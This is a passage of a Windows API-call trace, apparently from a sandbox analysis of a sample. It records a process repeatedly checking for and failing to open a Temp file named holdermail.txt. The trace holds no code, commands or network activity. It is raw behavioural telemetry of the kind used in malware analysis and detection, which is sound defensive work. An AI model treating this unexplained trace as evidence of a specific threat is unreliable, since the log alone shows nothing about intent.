	[0089.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.491] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.491] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.492] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.492] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.492] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.492] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.492] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.492] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.492] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.493] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.493] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.493] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.493] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.493] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.494] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.494] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.494] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.494] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.495] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.495] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.495] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.495] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.496] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.496] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.496] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.496] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.496] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.496] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.505] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.506] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.506] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.506] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.506] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.506] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.506] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.506] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.507] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.507] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.507] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.507] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.508] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.508] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.508] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.509] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.509] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.509] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.509] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.509] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.510] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.510] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.510] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.510] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.510] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.510] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.511] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.511] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.511] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.511] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.511] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.511] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.512] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.513] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.513] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.513] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.513] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.513] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.513] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.514] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.514] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.514] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.514] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
